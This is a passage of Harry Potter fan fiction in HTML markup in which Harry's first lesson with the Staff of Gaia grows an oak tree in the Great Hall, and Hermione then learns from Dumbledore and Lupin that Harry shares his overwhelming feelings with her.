tickling her. Harry realised that that was a much better idea. Grinning mercilessly, he dove in, and after only a few moments, Hermione cracked. Food flew out of her mouth faster than a house wife upon seeing Gilderoy Lockhart\'s smile. Some of it landed on Neville\'s Beef and Yorkshire pudding loaded fork. </p>\n\n<p>\n\n</p><p> Harry smiled in triumph, and Hermione just blushed. </p>\n\n<p>\n\n</p><p> &quot;Sorry Neville&quot; she muttered as she wiped some mashed potato bits off his face. </p>\n\n<p>\n\n</p><p> When her head turned back to him, Harry realised that he still had his hands gripping her waist. For a moment he looked her straight in the eyes, and felt a flicker of energy in his solar plexus, almost like the Staff was right behind him, before a loud fake cough from Seamus, saying something that sounded a lot like, </p>\n\n<p>\n\n</p><p> &quot;Pathetic.&quot; </p>\n\n<p>\n\n</p><p> broke his gaze, and the feeling. And allowed him to see instead about six faces grinning at them. </p>\n\n<p>\n\n</p><p> Harry quickly removed his hands, and blushed. Realising that being best friends with a girl, was going to start getting a little awkward now. </p>\n\n<p>\n\n</p><p> Hermione went even more red, and quickly regained her interest in food. </p>\n\n<p>\n\n</p><p> Luckily for her, she didn\'t have to see the look on Ron\'s face, as Harry did. It was hurt, pure and simple. But Ron recovered quickly and joined in the conversation with his brothers. But the emotion had been there, clear as day, if only for a moment. Hurt, and never again did Harry want to see that on his friends face. </p>\n\n<p>\n\n</p><p> *He must think that I like Hermione more than I should. Probably thinks she likes me back after what just happened. Damn.* </p>\n\n<p>\n\n</p><p> He chastised himself, until the time came for the Great Hall to begin emptying, and his friends to say goodbye and good luck, by then Harry had vowed one thing. </p>\n\n<p>\n\n</p><p> *I\'m gonna let Ron be happy with Hermione, no matter what. Hell, if it comes down to it, I\'ll help them get together.* </p>\n\n<p>\n\n</p><p> Harry ignored the pang in his heart at that thought. </p>\n\n<p>\n\n</p><p> ~o0o~ </p>\n\n<p>\n\n</p><p> Harry hung around nervously at the back of the Hall, as Dumbledore and Moody used magic to stack the long House tables against the walls. Whatever they were planning on, it looked like it would be taking a lot of space to do it. </p>\n\n<p>\n\n</p><p> The doors to the Great Hall opened behind Harry, and in strode Remus Lupin, and Snuffles, otherwise known as the animagus form of his Godfather Sirius Black. Under one arm, Lupin carried the case which contained the Staff of Gaia. </p>\n\n<p>\n\n</p><p> &quot;Harry!&quot; Lupin said, smiling and opening his arms wide, enveloping him in a hug. After a moment, Harry hugged him tightly back, in a way, he was like a second Godfather to him. When they stepped back, Lupin had a grin on his face, which made him appear to be about 10 years younger. </p>\n\n<p>\n\n</p><p> He took out his wand from within the folds of his robes, and pointed it at the doors of the Great Hall, muttering something that Harry recognised as a powerful locking spell, the doors swung shut. </p>\n\n<p>\n\n</p><p> The minute they did so, Sirius bounded up to Harry in his dog form, changed so quickly that he made himself dizzy, and in his human form hugged his godson. </p>\n\n<p>\n\n</p><p> &quot;Everybody seems to like me today.&quot; Harry muttered. </p>\n\n<p>\n\n</p><p> Once the hugs and pleasantries had been exchanged, they all walked into the centre of the room, were five seats had been placed in a circle, one opposite the case holding the Staff, which Harry was told would be his seat. There was also a small raised table in the centre of the circle, on which rested a single acorn. Dumbledore motioned for them to sit, and all but Harry did. </p>\n\n<p>\n\n</p><p> &quot;Nervous Harry?&quot; Sirius asked, smiling slightly. Harry could only nod. </p>\n\n<p>\n\n</p><p> &quot;Well don\'t be. This will probably be tough, but your as strong as a Griffin, and we\'ll be with you every step of the way.&quot; </p>\n\n<p>\n\n</p><p> Harry\'s eyes widened, that wasn\'t very comforting. </p>\n\n<p>\n\n</p><p> Sirius looked slightly confused as to why his words weren\'t having the desired effect. Lupin leaned towards his old friend. </p>\n\n<p>\n\n</p><p> &quot;Sirius, Griffins aren\'t exactly the kind of animal, you want to compare Harry with.&quot; </p>\n\n<p>\n\n</p><p> &quot;Why?&quot; </p>\n\n<p>\n\n</p><p> &quot;Their extinct! You never did pay much attention in Care of Magical creatures did you? &quot; </p>\n\n<p>\n\n</p><p> Lupin roared with laughter, Sirius looked severely put out, until his face cracked, and he began to laugh to. </p>\n\n<p>\n\n</p><p> *Now that\'s more reassuring, at least their not afraid to look like their having fun around me.* </p>\n\n<p>\n\n</p><p> Feeling a little more confident, Harry took his place, directly opposite the Staff and the table with the acorn on it. He tried not to look at it, when it was taken out it\'s case. He didn\'t want to risk activating it by mistake. </p>\n\n<p>\n\n</p><p> But unfortunately a subtle humming noise, told him that it was really not his choice at the moment. The Staff began glowing a soft amber colour. </p>\n\n<p>\n\n</p><p> &quot;Excellent.&quot; Dumbledore said, a familiar twinkle in his eyes. </p>\n\n<p>\n\n</p><p> &quot;Then lets get started!&quot; </p>\n\n<p>\n\n</p><p> ~o0o~ </p>\n\n<p>\n\n</p><p> &quot;Harry, Harry!&quot; </p>\n\n<p>\n\n</p><p> Harry was faintly aware that he was being shaken quite roughly by someone. </p>\n\n<p>\n\n</p><p> *Great* he thought, *Uncle Vernon can\'t wait until morning, to start hitting me.* </p>\n\n<p>\n\n</p><p> Rolling over, he mumbled. </p>\n\n<p>\n\n</p><p> &quot;It\'s too early, Uncle Vernon, hit me later.&quot; </p>\n\n<p>\n\n</p><p> It was then that Harry realised that he wasn\'t in bed, but on a cold, hard, stone floor, and he was aware that there were people crowded around him. The hands that had been shaking him roughly a moment ago, were now still, and gripped his arms loosely. </p>\n\n<p>\n\n</p><p> &quot;Harry, wake up.&quot; someone called softly. </p>\n\n<p>\n\n</p><p> Harry cracked one eye open, wincing slightly as light hit the pupil, and opened the other. Sirius\'s face came into view, he was crouched over him, there was a look of concern ... and anger? On his face. </p>\n\n<p>\n\n</p><p> *Oh, I did just call him Vernon, no wonder he\'s pissed.* </p>\n\n<p>\n\n</p><p> Sirius helped to pull Harry to his feet, but he swayed, almost falling over again. He felt very weak. Sirius gripped his upper arm to keep him upright. </p>\n\n<p>\n\n</p><p> &quot;Perhaps it would be best if you go to the hospital wing tonight, Mr Potter.&quot; Dumbledore said rather pointedly. </p>\n\n<p>\n\n</p><p> &quot;Oh please Professor, don\'t make me go back there tonight, I\'m just tired. Madam Pomfrey is getting sick of seeing me.&quot; </p>\n\n<p>\n\n</p><p> The old wizard sighed, and studied him carefully for a moment, Harry felt quite like an animal behind the bars of a cage at the zoo, a look of sympathy passed Dumbledore\'s face. </p>\n\n<p>\n\n</p><p> *Must be the last of my species or something.* </p>\n\n<p>\n\n</p><p> &quot;Very well, go back to your room in Gryffindor tower. But I will be sending Poppy up to see you soon. And as it\'s dinner time, I\'ll send Dobby up with some food.&quot; </p>\n\n<p>\n\n</p><p> &quot;It\'s dinner time already?&quot; </p>\n\n<p>\n\n</p><p> &quot;Oh yes. You\'ve been unconscious for almost half an hour. In fact we\'ve had to keep the students waiting outside. If you had not woken up soon, I\'m afraid you would have been waking up in the hospital wing, in Madam Pomfrey\'s capable care, without any choice in the matter.&quot; </p>\n\n<p>\n\n</p><p> Dumbledore motioned to Lupin to help him start moving the tables back. Which was when Harry noticed it for the first time. Turning to Sirius, he asked, </p>\n\n<p>\n\n</p><p> &quot;Did I do that?&quot; </p>\n\n<p>\n\n</p><p> Sirius just smiled slightly, a look of intense pride on his face, and then he nodded. </p>\n\n<p>\n\n</p><p> &quot;Wow.&quot; Harry breathed. He started feeling weaker again. Sirius, leaned him against the teachers dining table, and watched him quietly for a few minutes, as Dumbledore and Lupin began moving the last of the tables back to it\'s place, or rather a little further away now, since there was now a little less room in the Great Hall. </p>\n\n<p>\n\n</p><p> Moody was eyeing Harry intently, making him feel very uncomfortable. Somehow, Moody could always make you feel like he suspected you of a particularly horrible crime, or that he thought you were likely to commit one. The Staff was back in its case, and strangely, heat seemed to be radiating from it, coming off in waves, and distorting the view of the Hall behind it. </p>\n\n<p>\n\n</p><p> When Dumbledore had finished, Sirius patted Harry on the shoulder, and transformed back into Snuffles. Lupin came towards him, and moved to stand slightly behind Harry, gripping both of his arms, to help hold him up. Mad-eye Moody finally stopped staring at him, and picked up the case containing the Staff of Gaia. All of them moved around the outskirts of the Hall, easier than going through the centre, or attempting it at this moment, given what Harry had achieved with the Staff earlier. </p>\n\n<p>\n\n</p><p> Dumbledore removed the locking spell, on the doors of the Great Hall, and they swung open. A few hundred curious faces peered back at them. </p>\n\n<p>\n\n</p><p> Harry suddenly found the floor quite fascinating. Lupin guided him gently out of the hall, through the throng of students, who all jostled to get a good look at him. Though they parted as he and Lupin moved forward, almost like they were afraid of getting burnt. </p>\n\n<p>\n\n</p><p> Another wave of grogginess passed over him, and Harry found that at that moment, he didn\'t much care what the other students felt, all he wanted to do, was get some sleep. He started to feel slightly numb all over, and his legs were getting weaker. He was becoming more and more exhausted, and before they made it through the crowd, Harry felt his legs buckle beneath him. A dozen sets of hands, shot out to hold him up, and Lupin shifted to better hold him. They started to move again. </p>\n\n<p>\n\n</p><p> Harry was faintly aware that whispers were following him. And that he could hear some of the things that were being said, and then strangely enough, there seemed to be a voice at the back of his mind, telling him some of the things that weren\'t being said. This was, understandably a little strange to Harry, but feeling numb, he didn\'t really give much more thought to it. </p>\n\n<p>\n\n</p><p> In what seemed to be no time at all, Harry felt himself being lifted onto a soft surface. </p>\n\n<p>\n\n</p><p> *Bed* his mind yawned. </p>\n\n<p>\n\n</p><p> He felt his shoes, cloak and school tie being removed, and heavy covers being pulled over him. There seemed to be a faint murmuring of a conversation, but Harry couldn\'t make out the words. And then, with an ardent bliss, Harry fell asleep. </p>\n\n<p>\n\n</p><p> ~o0o~ </p>\n\n<p>\n\n</p><p> Lightening struck out through the dark, stormy sky, at the roaming clouds. A more than gentle, icy breeze blew around the cold, grey, slate mountains. Everything upon the land, and within the air was a harsh grey, except for the strangely glowing purple and amber tones, from beyond the horizon, that picked out the shapes on the landscape, and the night sky. </p>\n\n<p>\n\n</p><p> Harry stood alone, on what he sensed had once been a glorious green plateau. </p>\n\n<p>\n\n</p><p> Death surrounded him. </p>\n\n<p>\n\n</p><p> Blackened, fire ravaged trees, wilted, defeated, dotted the landscape. All burned, but not by fire, they were burned by the passing of so many souls. </p>\n\n<p>\n\n</p><p> The rivers ran in trickles. Earths life-blood was drying up, no longer supporting even the most un-wanting of creatures. </p>\n\n<p>\n\n</p><p> Another lightening strike, flickered, lighting up the clouds from both above them and below. </p>\n\n<p>\n\n</p><p> Amongst the noise of thunder, and what sounded like the Earth rumbling in pain, Harry could hear the clipping noise of horse hooves, and the cry of the animal itself. </p>\n\n<p>\n\n</p><p> Death had taken this place, ended so much, that need not have passed. A great evil had been defeated, but at a great cost. </p>\n\n<p>\n\n</p><p> In the distance, Harry could see the horse now, bright white, and it\'s rider. But the riders image was somewhat misty, like someone had placed a creamy coloured gauze between them, and light shone through it, like that of a warm summers morning. An unearthly golden glow was being cast, with no other source than the rider themselves. And they carried something. </p>\n\n<p>\n\n</p><p> The rider moved ever closer, the great horse slowed, and then stopped without any vocal command of its rider, beside Harry. The light was in his eyes, and surrounded him with a feeling of maternal warmth. The rider seemed to glide down from their place upon the horse, their face and body moving through the light, until it was now behind them. </p>\n\n<p>\n\n</p><p> She was the most beautiful being that Harry had ever seen, if he had ever wondered what angels looked like, he now believed he may have an idea. There was more ageless beauty upon her face, than any Veela could ever claim. Her complexion was creamy, and with no marks of any kind, save for a small brown freckle beneath her left eye. Her face seemed to portray a perfect symmetry of lines that it should not have been possible to have. Her eyes were the most startlingly sea blue, with richly darkened pupils. Waves of golden red hair fell down her back. It was gathered in such a style that it revealed two important features beneath it. </p>\n\n<p>\n\n</p><p> Delicately shell-shaped ears. </p>\n\n<p>\n\n</p><p> The woman smiled. Harry felt the warmth of a sun upon his face. She leant down slightly, strangely cool hands rose up to cup Harry\'s face, and tilted it upwards. He felt a gentle kiss being placed upon his forehead. Then the Staff of Gaia, was placed into his hands. </p>\n\n<p>\n\n</p><p> When she spoke, all of Harry\'s cares fell away. It was like a soft hum, peaceful, flowing like honey. </p>\n\n<p>\n\n</p><p> &quot;Use it well.&quot; </p>\n\n<p>\n\n</p><p> ~o0o~ </p>\n\n<p>\n\n</p><p> Hermione was angry. So angry in fact, that the air around her seemed to crackle with pent up hostility, to such a degree that none of the young men that sat near her, would dare to say anything about it being \'that time of the month\'. Ron looked at her with concern evident upon his face. He didn\'t like seeing her like this, though he could well understand. Finally, the boiling rage that had been quietly been simmering beneath her semi-composed surface, food on her plate bearing the brunt of this anger, exploded. </p>\n\n<p>\n\n</p><p> &quot;What the bloody hell do they think their doing, for God\'s sake? He was only in a coma for the past two weeks, does that not mean anything?&quot; </p>\n\n<p>\n\n</p><p> A silence, and nervous, unsure faces from the half of the Gryffindor table that heard her outburst, was her only answer. Ron shot a few meaningful looks to the others, and gradually they fell back into their own conversations again. </p>\n\n<p>\n\n</p><p> &quot;Herm.&quot; He said softly, feeling a little uneasy when her gaze turned directly on to him. </p>\n\n<p>\n\n</p><p> &quot;This probably isn\'t the best time or place to talk about this.&quot; Hoping she\'d get the hint, and just as he was about to suggest that they finish dinner and go talk, Hermione slammed her fork down, so hard bits of food flew off her plate and across the table -in Neville\'s direction. </p>\n\n<p>\n\n</p><p> &quot;Fine&quot; </p>\n\n<p>\n\n</p><p> She got up, and stormed out of the Great Hall, many eyes watching as she did so. But before she made it to the door, she turned, and looked back to the centre of the room, to look again and marvel at the product of Harry\'s Staff lesson. An extremely ancient-looking, twisted, and very large Oak tree was growing there, as if it were only in the first steps of life, lush green foliage covered it. </p>\n\n<p>\n\n</p><p> And once again, the only thing Hermione could think of to describe the feeling she got when she saw it, was just as it had been when she\'d first seen it, and first felt it happening. </p>\n\n<p>\n\n</p><p> *Oh.* </p>\n\n<p>\n\n</p><p> ~o0o~ </p>\n\n<p>\n\n</p><p> Hermione felt almost completely over-whelmed by an anger she never knew she was capable of, one that was tinged by an ample fear. She was so desperately afraid for Harry, and whatever it was that he was becoming involved in. She saw him, always so tired, it was too soon, too soon to try and make him perform what were seemingly miracles. And so she felt angry at those who claimed to care for him, when they seemed to be as anxious as children with a new toy, desperate to find out everything it could do. </p>\n\n<p>\n\n</p><p> But Harry was still human, didn\'t that make him just as frail a being as anyone else? And yet they insisted on treating him as though he was superhuman. </p>\n\n<p>\n\n</p><p> Hermione would probably be the first to admit, that there were times, when Harry did seem to be something more than, or other than human, And then he\'d get hurt, and that illusion would be shattered. </p>\n\n<p>\n\n</p><p> Hermione probably wouldn\'t have felt this kind of fear for him a few years ago. Oh, she\'d still fear it alright, but this time she knew something that she hadn\'t really seen before. She knew that Harry was, not even all that deep down, afraid. Afraid, for the very good reasons of having a homicidal, all-powerful wizard trying to kill him for the best part of five years, and living with the Dursleys, which, Hermione really didn\'t want to think about. But even all this wasn\'t what really had Harry afraid. Hermione knew, that though on a conscious level Harry was just as curious, and made just as many jokes as everyone else about his burgeoning abilities. Hermione knew, that deep down, somewhere inside of him, a small part of which he seemed to be unwillingly sharing with her, he was afraid. Afraid of not only what he could do, but of what he might do, and when it came right down to it, of what he might be. </p>\n\n<p>\n\n</p><p> So, knowing what she did about this deceptively open person, it was understandable she was getting a tad, well, hacked-off. Just plain pissed was probably a better description. Even the figures in the paintings she was storming past, hid around the corners of the frames, until she moved to another corridor, only returning to whisper once they were sure she was out of ear-shot. All of them agreeing on one reason for her anger. A kind of agreement, that the temperamental paintings only reached once every seven decades. </p>\n\n<p>\n\n</p><p> So lost was she in her own thoughts, that Hermione didn\'t realise she\'d just made the long trek upstairs to the Gryffindor tower, until she was already past the dorm room and on the landing that separated the fifth year girls and boys dormitories. She twisted on her heel with the intention of going to her room to try and get some sleep, but paused mid-turn. </p>\n\n<p>\n\n</p><p> The fifth year boys room was just opposite, currently no further away from her than her own room. She couldn\'t just, take a little peak could she? To see if Harry was alright, see if he wanted anything. </p>\n\n<p>\n\n</p><p> Her mind, as always summed up the problem with lightening quick speed. The list of pros and cons quickly formed inside her mind. </p>\n\n<p>\n\n</p><p> 1)Harry might be already asleep, thus wasted journey into the unknown, and potentially dangerous world of a boys bedroom. </p>\n\n<p>\n\n</p><p> 2)He might be asleep, but if he then woke up while she there, she didn\'t relish trying to tell him what she was doing sneaking around in his room. </p>\n\n<p>\n\n</p><p> 3)Unexpected arrival of a teacher. i.e Snape. -Hermione momentarily shuddered at the thought of trying to explain it to Snape. Big trouble. </p>\n\n<p>\n\n</p><p> 4)Well it was the BOYS room and everything, God knows what else might be going on in there. </p>\n\n<p>\n\n</p><p> Good side. </p>\n\n<p>\n\n</p><p> 1)It\'s Harry. </p>\n\n<p>\n\n</p><p> Hermione finished weighing up the problem within a heartbeat, and choose the door on her left. </p>\n\n<p>\n\n</p><p> *Stupid* she chastised herself. Somehow, despite all of her intellectual abilities, she hadn\'t thought of the little factor of the teachers already being in the room. </p>\n\n<p>\n\n</p><p> *Well at least it\'s not Snape.* </p>\n\n<p>\n\n</p><p> Perched on Harry\'s trunk, at the bottom of his four-poster bed, was Professors Lupin and Dumbledore, apparently in mid-discussion about Harry. Who himself, appeared to be fast asleep under the covers. They\'d both looked up as the door flew open, but did not appear at all startled by her sudden appearance in the boys dorm room. Dumbledore had a twinkle in his eye that suggested he was rather more amused. </p>\n\n<p>\n\n</p><p> &quot;I wondered when one of you would come up. Though I had thought you might have finished dinner first.&quot; </p>\n\n<p>\n\n</p><p> &quot;I wasn\'t hungry.&quot; Hermione replied softly. Before she moved into the room, letting the door shut behind her. She walked across the central gathering in the room, which suddenly seemed to have expanded, making the walk even longer. Keenly aware that the two teachers were watching her, but they flicked their attention back, once Hermione had reached the four-poster, containing a single sleeping figure, beneath it\'s old, deep red canopy. </p>\n\n<p>\n\n</p><p> Harry didn\'t look as helpless, as he had done the last few times she\'d observed him sleeping. Not quite so frail. Now, even in his sleep, he radiated a kind of restful power. </p>\n\n<p>\n\n</p><p> She looked at his face, and saw, just about beneath a hand -the thumb of which he was coming awfully close to sucking on, making him look very cute- that his eyelids were fluttering, a sure sign that he was dreaming. Hermione hoped that for once it was a peaceful dream, and not one of the prophetic ones he had about Voldemort, dreams that with any luck people might be a little more willingly to believe in now. But there were other dreams that Hermione could imagine. Ones she never again hoped to hear him mumbling about, in his sleep again. As she had done many times when she\'d watched over him. </p>\n\n<p>\n\n</p><p> It was strange, that even comatose, Harry was still able to dream. Even Madam Pomfrey couldn\'t explain it. </p>\n\n<p>\n\n</p><p> In the few days before he woke up, his coma became more like a fitful sleep. Fitful, because Harry\'s dreams were only ever nightmares, or so it seemed. Whenever he dreamed, those were the times that the feeling of power that one felt surrounding him, grew stronger in intensity, and more uneasy. </p>\n\n<p>\n\n</p><p> But now, that feeling was calm, like the sea waters in a small cove, gentle, unhurried. </p>\n\n<p>\n\n</p><p> &quot;He\'s dreaming.&quot; she stated, perhaps aware that she\'d spent quite some time thinking, and had not been very personable to the two men in the room. </p>\n\n<p>\n\n</p><p> &quot;How can you tell?&quot; Lupin asked. </p>\n\n<p>\n\n</p><p> Hermione heard her voice saying something about eyelid patterns and R.E.M\'s sleep, as her book-learned knowledge poured out. Remus nodded, though he didn\'t really look like he\'d understood a word said. </p>\n\n<p>\n\n</p><p> Hermione\'s shifted back to Harry. </p>\n\n<p>\n\n</p><p> &quot;Why are you doing this to him?&quot; </p>\n\n<p>\n\n</p><p> &quot;What do you mean?&quot; </p>\n\n<p>\n\n</p><p> &quot;I believe Remus, that Miss Granger would like to know why we\'ve been pushing at Harry so hard.&quot; </p>\n\n<p>\n\n</p><p> &quot;Oh&quot; </p>\n\n<p>\n\n</p><p> Dumbledore turned his kindly eyes to Hermione. </p>\n\n<p>\n\n</p><p> &quot;Miss Granger, how much do you know about the Staff of Gaia, or any Staff for that matter?&quot; </p>\n\n<p>\n\n</p><p> &quot;Not much more than you told me.&quot; she replied, moving to sit on a nearby chair. Lupin looked momentarily shocked that she wouldn\'t have a hundred things to add, before he remembered that she hadn\'t exactly been the bookworm of late. </p>\n\n<p>\n\n</p><p> &quot;I\'ve tried looking in the library once or twice, but there weren\'t many books on the subject. And the few that were there, are more theory based works than anything factual.&quot; </p>\n\n<p>\n\n</p><p> &quot;Ah, I see. Did none of these books include information, on the practicalities of using a Staff?&quot; </p>\n\n<p>\n\n</p><p> Hermione shook her head. </p>\n\n<p>\n\n</p><p> &quot;Might be time for a lesson, Albus.&quot; </p>\n\n<p>\n\n</p><p> Hermione blinked. She\'d never heard anyone call the headmaster by his first name. Madam Pomfrey and occasionally Professor McGonagall were the exception to the rule. Everyone else seemed to respect him from afar, even Hagrid, whom she\'d always thought to be very close to the aging wizard, refused to call him by his first name. </p>\n\n<p>\n\n</p><p> &quot;Now lets see, where to start, where to start ... perhaps ... yes that\'s it. </p>\n\n<p>\n\n</p><p> To use a Staff, not only requires great magical power, but a great need for focus. A need so great in fact, that the sheer amount of physical force required to concentrate, is draining. How much energy is required, is dependant on how large a task as been set.&quot; </p>\n\n<p>\n\n</p><p> &quot;So that\'s why he became unconscious every time he used it?&quot; </p>\n\n<p>\n\n</p><p> &quot;Well, that\'s part of the reason. Harry has ... well, he was already quite drained , and has few energy reserves of his own.&quot; </p>\n\n<p>\n\n</p><p> &quot;It\'s quite amazing really. He probably should have died, after the troll attack, but he was only in a coma for two weeks!&quot; Lupin added. </p>\n\n<p>\n\n</p><p> &quot;Only!!!&quot; she replied, some of her burning fury at the teachers returning. </p>\n\n<p>\n\n</p><p> &quot;Miss Granger, you have to understand, that I would, if possible, do everything I could to keep Harry from harm. I have done what I could in the past, and continue to do so. But fate, it seems, has something greater in mind for our young friend, and always has. And those destined for greatness must put up with more than their fair share of unhappy things. He\'s been given a great power, now he must learn how to use it, and more importantly, how to control it.&quot; </p>\n\n<p>\n\n</p><p> &quot;But, if he\'s so powerful, who is to say that what you have to teach him, will be of any consequence? No disrespect intended Professor.&quot; </p>\n\n<p>\n\n</p><p> &quot;None taken Miss Granger, and I can understand your concern, you make a valid point.&quot; </p>\n\n<p>\n\n</p><p> Lupin jumped back into the conversation. </p>\n\n<p>\n\n</p><p> &quot;But Harry has shown a certain aptitude for stronger magic\'s, ones that even full-grown Aurors have some difficulty mastering. A patronus charm, for example. It takes many months of training to pull one off, but Harry managed it after a handful of lessons.&quot; </p>\n\n<p>\n\n</p><p> &quot;Which leads to another point Remus. Miss Granger is perfectly correct when she suggests that this situation is not entirely within our capabilities as people of magic, to deal with. Thus, I have sent for the only being in this world, who may be able to, if they so desire. Unfortunately, it is unlikely that she will arrive before this school year is over.&quot; </p>\n\n<p>\n\n</p><p> Lupin looked as though this was the first he had heard of any such person. Which was confirmed to Hermione a few moments later, when he quietly enquired about it with Dumbledore. The old teacher, however, would say no more on the subject, other than it was highly sensitive information, that only he and his messenger were aware of, and that he intended to keep it this way. He apologised for the secrecy, but promised that it was a necessity. He also mentioned that Harry had been sent something form this mysterious person earlier that day, though he had no knowledge of what it was himself, but he was sure it would come in handy. </p>\n\n<p>\n\n</p><p> For a brief moment all three of them looked at Harry, the feeling of power in the room grew stronger, but was still strangely calm. After a few moments, Lupin and Dumbledore stood up. The older left, promising to have Dobby, the house-elf bring some food up, as undoubtedly Harry would be hungry when he awoke. Lupin however, returned a moment after he had left the room. </p>\n\n<p>\n\n</p><p> &quot;Hermione.&quot; He said softly, startling her, as she hadn\'t noticed his return. Lupin\'s gaze flickered between her and Harry. </p>\n\n<p>\n\n</p><p> &quot;Sirius told me about what happened. About what you experienced, when Harry held the Staff.&quot; He sighed at the look on her face, and clearly under the weight of whatever he was about to share with her. </p>\n\n<p>\n\n</p><p> &quot;The headmaster was a little wary about sharing this information with you, and though I would normally do whatever he asked, I felt I had to disagree with him this time. I believe that you have a right to know what we suspect is happening to you. </p>\n\n<p>\n\n</p><p> You already know that Harry is very strong magically, but emotionally, as a human being, he\'s ... he\'s ... well probably a little screwed up. And you\'re both so very young. There are certain elements of what is happening to Harry when he uses the Staff, that due to his young age, and other ... underlying circumstances, he will find hard to cope with. Until he becomes accustomed to it. In time that is. The kind of things that open up to Harry when he\'s using the Staff, are probably somewhat over-whelming. And so he needs to ... siphon, I think that\'s the right word. He needs to siphon some of it off. And it would seem that he has chosen you, to be the one to receive these residual memories, or feelings.&quot; </p>\n\n<p>\n\n</p><p> &quot;Me?&quot; </p>\n\n<p>\n\n</p><p> &quot;Yes, you Hermione.&quot; The Professor smiled lightly. </p>\n\n<p>\n\n</p><p> &quot;Harry would only pick someone for a task like this, whom he trusts implicitly, given the nature of the things you are being allowed to see or feel. I doubt it was even a conscious decision on his part. You are the one person on this planet, that he trusted enough to share a part of his very being with. It is a great burden, and a responsibility Hermione. One that I\'m sorry to say for you, can not be taken lightly. </p>\n\n<p>\n\n</p><p> I have no doubt that Harry will eventually master these new abilities, and the you will be no longer burdened as you are. He\'s sharing with you things that he may never share with anyone else. It\'s important that you respect his wishes and do the same, unless you feel it to be of the up most urgency, and you need to speak to Sirius, Dumbledore, or myself.&quot; </p>\n\n<p>\n\n</p><p> &quot;I know.&quot; Her voice was barely above a whisper, and her throat suddenly felt dry and scratchy. </p>\n\n<p>\n\n</p><p> &quot;But it isn\'t a burden, not in the way you think. It\'s an honour. Though I do not understand why he would have chosen me. I think it would have been a better idea to pick someone like you or his Godfather. Above all people why chose me? Surely someone else could have made a better job of it.&quot; </p>\n\n<p>\n\n</p><p> &quot;I\'m sorry Hermione. Perhaps Dumbledore was right to think it too soon to tell you.&quot; </p>\n\n<p>\n\n</p><p> &quot;No! No, I wouldn\'t take it back now. Now I know, now I understand how important it is. I just don\'t understand why he would pick me. </p>\n\n<p>\n\n</p><p> &quot;Why not Hermione?&quot; a slight grin appeared on the professor\'s face. </p>\n\n<p>\n\n</p><p> &quot;Your one of the few people who\'ve always managed to be there for him, no matter what. That\'s something even Ron can not claim.&quot; </p>\n\n<p>\n\n</p><p> ~o0o~ </p>\n\n<p>\n\n</p><p> When Harry woke up just two short hours later -shocking Hermione, who\'d expected him to be asleep for at least a couple of days- he looked more well-rested than he had in months. Though his mood seemed a little more sombre, and his smiles seemed a little more forced -Perhaps his dream was a little less peaceful than she had believed. He retained his humour long enough though. </p>\n\n<p>\n\n</p><p> When he\'d woken, cracking one eyelid open, he\'d seen Hermione lounging in a chair beside him, looking thoughtfully at the chocolate &#233;clair she had half-devoured. </p>\n\n<p>\n\n</p><p> &quot;We\'ve got to stop meeting like this you know. People will start to talk.&quot; </p>\n\n<p>\n\n</p><p> Hermione had jumped in her seat, dropped her &#233;clair, and then seemed to go slightly red. </p>\n\n<p>\n\n</p><p> *Wait a minute, did I just flirt? And another thing, when did my voice change?* </p>\n\n<p>\n\n</p><p> Hermione couldn\'t claim to be an expert on the biology of adolescent boys, but surely their voices didn\'t change in a few hours, and especially if those were spent unconscious. </p>\n\n<p>\n\n</p><p> Harry had felt slight embarrassment as Hermione encouraged him to speak, while she tried to figure it out. Before she dismissed it as being one of those wizard things. </p>\n\n<p>\n\n</p><p> Then they began to discuss a few more important things. </p>\n\n<p>\n\n</p><p> Harry described to Hermione, in as much detail as he was able, what had happened during in his first Staff lesson. From the end of lunch, at 1.30pm that day, they\'d spent over two hours going over the history of the Staff, such as there was known. Of the theories of who may have owned it during it\'s long existence, around ten thousand years of history to cover. As this was where all records of the Staff ended. So they therefore assumed that the last wizard whose name was attached to the Staff, was believed to be the one who had created it. This was a wizard called Xhiang Xial, the man who\'d given it its name. But, though the records they had on this wizard were limited, there was never any evidence that he had been skilled enough to do something like this. </p>\n\n<p>\n\n</p><p> Dumbledore told Harry -once they had finished with the history lesson for the day, and moved onto a practical- that he and the others believed that \'Focus\' was the key to mastering the Staff. That and learning how much of his own energy he could reasonably let go of, during this effort. </p>\n\n<p>\n\n</p><p> It was with this viewpoint, that their lesson had begun. They decided to give Harry what they had believed to be a relatively small task. To grow the first shoot and root of an oak tree, from an acorn. Which, as it turned out, was no small task, especially as Harry, in the state induced whilst using the Staff, could only consciously grab a hold of a few words, in order to do something. In this case, the words \'Grow\' and \'Live\', were the only words Harry could think of when using the Staff. So instead of making the first roots and shoots grow, he made an entire tree. </p>\n\n<p>\n\n</p><p> Harry tried to describe how he was acting almost entirely on instinct. That a single word, could become an all-consuming task. These words prompted an instinct within him, one which seemed to know exactly what it was doing, it felt almost primal. Because it was so consuming, he found that he couldn\'t actually \'do things by halves\'. Something which was either to be a source of great concern, considering how draining it was for him, or to feel relief at. If there was another attack, it was almost comforting to know that Harry would be fully able to protect people again, and not give any Deatheaters the equivalent of a quick slap and nothing more. </p>\n\n<p>\n\n</p><p> Harry had been aware only of the feeling of creating a life, it wasn\'t until he\'d been about to pass out, again, that he saw a very large, old-looking, yet somehow new, Oak tree growing in the centre of the Great Hall. </p>\n\n<p>\n\n</p><p> ~o0o~ </p>\n\n<p>\n\n</p><p> Harry and Hermione spent a few more hours talking, and rapidly began to run low on Chocolate Frogs. Hermione felt more than a little concern, that Harry\'s mood was becoming even more sombre, and even a little angry. He said he didn\'t think that his teachers were going to let him near the Staff again in a hurry. In fact he\'d practically snapped at Hermione, when she\'d expressed her relief at this. </p>\n\n<p>\n\n</p><p> When the boys came through the door to get ready for bed at nine \'o\' clock that evening, it was almost a relief for her. She made a hasty exit, listening to the wolf-whistles that followed her. Her head held down, she never even noticed the look on Ron\'s face as she brushed past him, colour rising in her cheeks. </p>\n\n<p>\n\n</p><p> Ron recovered from the shock of seeing Hermione practically run out of the boys dorm room, in order to ask Harry how he feeling, especially as no-one was expecting him to be awake yet. </p>\n\n<p>\n\n</p><p> Only to be surprised a second time by his friends more grown-up voice. His own had had only just finished squeaking a few days before Harry\'s arrival at the Burrow. </p>\n\n<p>\n\n</p><p> He was pleased to note that his friend didn\'t seem to be at all ill, just tired, and there was something of an aura of negative feeling around him. Though not so great that Ron couldn\'t prompt a smile. Ron was also pleased to see a stack of &#233;clairs next to Harry\'s bed. Which Harry, already full to exploding point, quite happily shared. </p>\n\n<p>\n\n</p><p> Though Harry was tired, he seemed somewhat restless. So Ron obligingly challenged him to a few rounds of Wizards chess. At which, he once again thrashed 